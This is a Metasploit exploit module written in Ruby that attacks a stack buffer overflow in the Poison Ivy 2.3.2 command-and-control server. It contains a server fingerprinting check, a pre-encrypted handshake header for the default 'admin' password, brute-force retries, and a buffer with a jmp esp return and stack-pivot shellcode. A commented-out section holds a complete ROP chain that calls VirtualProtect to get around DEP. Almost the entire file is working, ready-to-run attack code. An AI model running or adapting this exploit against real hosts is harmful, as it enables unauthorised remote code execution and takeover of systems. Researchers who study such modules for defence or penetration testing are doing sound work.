metasploit-framework/modules/exploits/windows/misc/poisonivy_bof.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Brute

	def initialize(info = {})
		super(update_info(info,
			'Name'           => "Poison Ivy 2.3.2 C&C Server Buffer Overflow",
			'Description'    => %q{
				This module exploits a stack buffer overflow in Poison Ivy 2.3.2 C&C server.
				The exploit does not need to know the password chosen for the bot/server comm.
				If the C&C is configured with the default 'admin' password the exploit should
				work fine. In case of the C&C configured with another password the exploit can
				fail.

				Hopefully an exploit try won't crash the Poison Ivy C&C process, just the thread
				responsible of handling the connection. Because of this the module provides a
				Bruteforce target. When selected a random header will be sent in case the default
				for the password 'admin' doesn't work. Bruteforce will stop after 5 tries or a
				session obtained.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Andrzej Dereszowski', # Vulnerability Discovery
					'Gal Badishi' # Exploit and Metasploit module
				],
			'References'     =>
				[
					[ 'URL', 'http://www.signal11.eu/en/research/articles/targeted_2010.pdf' ],
					[ 'URL', 'http://badishi.com/own-and-you-shall-be-owned' ]
				],
			'DisclosureDate' => "Jun 24 2012",
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'StackAdjustment'   => -4000,
					'Space'             => 10000,
					'BadChars'          => "",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
				[ 'Poison Ivy 2.3.2 / Windows XP SP3 / Windows 7 SP1',
					{
						'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.2.exe"
						'RWAddress' => 0x00401000,
						'Offset' => 0x806D,
						'PayloadOffset' => 0x75,
						'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4" # sub esp,0x8000 # jmp esp
					}
				],
					[ 'Poison Ivy 2.3.2 - Bruteforce / Windows XP SP3 / Windows 7 SP1',
						{
							'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.2.exe"
							'RWAddress' => 0x00401000,
							'Offset' => 0x806D,
							'PayloadOffset' => 0x75,
							'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4", # sub esp,0x8000 # jmp esp
							'Bruteforce' =>
								{
									'Start' => { 'Try' => 1 },
									'Stop'  => { 'Try' => 6 },
									'Step'  => 1,
									'Delay' => 2
								}
						}
					],
				],
			'DefaultTarget'  => 0
		))

		register_options(
			[
				Opt::RPORT(3460),
				OptBool.new('RANDHEADER', [true, 'Send random bytes as the header', false])
			], self.class)

		register_advanced_options(
			[
				OptInt.new('BruteWait', [ false, "Delay between brute force attempts", 2 ]),
			], self.class)

	end

	def check
		sig = "\x35\xe1\x06\x6c\xcd\x15\x87\x3e\xee\xf8\x51\x89\x66\xb7\x0f\x8b"
		lensig = [0x000015D0].pack("V")

		connect
		sock.put("\x00" * 256)
		response = sock.read(256)
		datalen = sock.read(4)
		disconnect

		if datalen == lensig
			if response[0, 16] == sig
				print_status("Password appears to be \"admin\"")
			else
				print_status("Unknown password - Bruteforce target or RANDHEADER can be tried and exploit launched until success.")
			end
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def single_exploit
		if datastore['RANDHEADER'] == true
			# Generate a random header - allows multiple invocations of the exploit if it fails because we don't know the password
			header = rand_text(0x20)
		else
			# This is the 32-byte header we want to send, encrypted with the default password ("admin")
			# We have a very good chance of succeeding even if the password was changed
			header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7"
		end
		do_exploit(header)
	end

	def brute_exploit(brute_target)
		if brute_target['Try'] == 1
			print_status("Bruteforcing - Try #{brute_target['Try']}: Header for 'admin' password")
			# This is the 32-byte header we want to send, encrypted with the default password ("admin")
			# We have a very good chance of succeeding even if the password was changed
			header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7"
		else
			print_status("Bruteforcing - Try #{brute_target['Try']}: Random Header")
			# Generate a random header - allows multiple invocations of the exploit if it fails because we don't know the password
			header = rand_text(0x20)
		end
		do_exploit(header)
	end

	def do_exploit(header)
		# Handshake
		connect
		print_status("Performing handshake...")
		sock.put("\x00" * 256)
		sock.get

		# Don't change the nulls, or it might not work
		xploit  = ''
		xploit << header
		xploit << "\x00" * (target['PayloadOffset'] - xploit.length)
		xploit << payload.encoded
		xploit << "\x00" * (target['Offset'] - xploit.length)
		xploit << [target.ret].pack("V") # ret to a jmp esp opcode
		xploit << [target['RWAddress']].pack("V") # Readable/writeable - will be cleaned by original ret 4 (esp will point to the next dword)
		xploit << target['jmpPayload'] # This comes immediately after ret - it is a setup for the payload (jmp back)

		# The disconnection triggers the exploit
		print_status("Sending exploit...")
		sock.put(xploit)
		select(nil,nil,nil,5)
		disconnect
	end

end

=begin

* ROP version of exploit(): Has been discarded at the moment because of two reasons:

(1) Poison Ivy fails to run on DEP enabled systems (maybe due to the unpacking process)
(2) When trying a unpacked version on DEP enabled systems windows/exec payload runs, but not meterpreter

	def exploit

		# This is the 32-byte header we want to send, encrypted with the default password ("admin")
		# We have a very good chance of succeeding even if the password was changed
		header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7"

		short_rop = [
			0x0041F1E9,	# 1st jump - will put esp (8 bytes from here) into ecx: push esp # and al,4 # pop ecx # pop edx # retn
			0x00401000,	# Readable/writeable - will be cleaned by original ret 4 (esp will point to the next dword)
			0xFFFF8000,	# edx. We'll add this number later to ebp (which will subtract 0x8000 from it).
			0x0042F63A,	# Will put esp into ebp: push esp # pop ebp # pop edi # pop esi # pop ebx # retn
			0x00000000,	# edi (ebp points here now)
			0x00000000,	# esi
			0x00000000,	# ebx
			0x00426799,	# We need this to offset ebp: mov eax,edx # retn
			0x0041F337,	# Subtract 0x8000 from ebp: add ebp,eax # retn
			0x00403A77,	# mov esp,ebp # pop ebp # retn
		].pack("V*")

		long_rop = [
			0x00000000,	# New ebp
			0x0041F1E9,	# Will put esp (8 bytes from here) into ecx: push esp # and al,4 # pop ecx # pop edx # retn
			0x0000002C,	# edx. We'll add this number later to ebp, to prevent looping.
			0x0042F63A,	# Will put esp into ebp: push esp # pop ebp # pop edi # pop esi # pop ebx # retn
			0x00000001,	# edi. We need it when we call VirtualProtect (ebp points here now)
			0x00000000,	# esi
			0x00000000,	# ebx
			0x00426799,	# We need this to offset ebp: mov eax,edx # retn
			0x0041F337,	# Subtract 0x8000 from ebp: add ebp,eax # retn
			0x004D82DE,	# eax will now point 8 bytes from the beginning of the bigger ROP chain: mov eax,ecx # retn
			0x004F196E,	# push eax (address) and call VirtualProtect, then add ebx, 0x28 # mov edi, 0x46FAC1 # pop esi # pop ebx # mov esp, ebp # pop ebp # ret 8
			0x00004000,	# Size
			0x00000040,	# New protect (0x40 = PAGE_EXECUTE_READWRITE)
			0x00401000,	# Old protect (ptr)
			0x00000000,	# esi
			0x00000000,	# ebx. ebp will point here after the offset, meaning that esp will point here after VirtualProtect.
			0x0041AA97,	# jmp esp (also new ebp)
			0x00000000,	# Discarded
			0x00000000,	# Discarded
		].pack("V*")

		short_rop_pos = 0x806D
		long_rop_pos = short_rop_pos - 0x7FF0

		# Handshake
		connect
		print_status("Performing handshake...")
		sock.put("\x00" * 256)
		sock.get

		# Don't change the nulls, or it might not work
		xploit  = ''
		xploit << header
		xploit << "\x00" * (long_rop_pos - xploit.length)
		xploit << long_rop
		xploit << payload.encoded
		xploit << "\x00" * (short_rop_pos - xploit.length)
		xploit << short_rop

		# The disconnection triggers the exploit
		print_status("Sending exploit...")
		sock.put(xploit)
		select(nil,nil,nil,5)
		disconnect

		# Time to own the box
		handler
	end
=end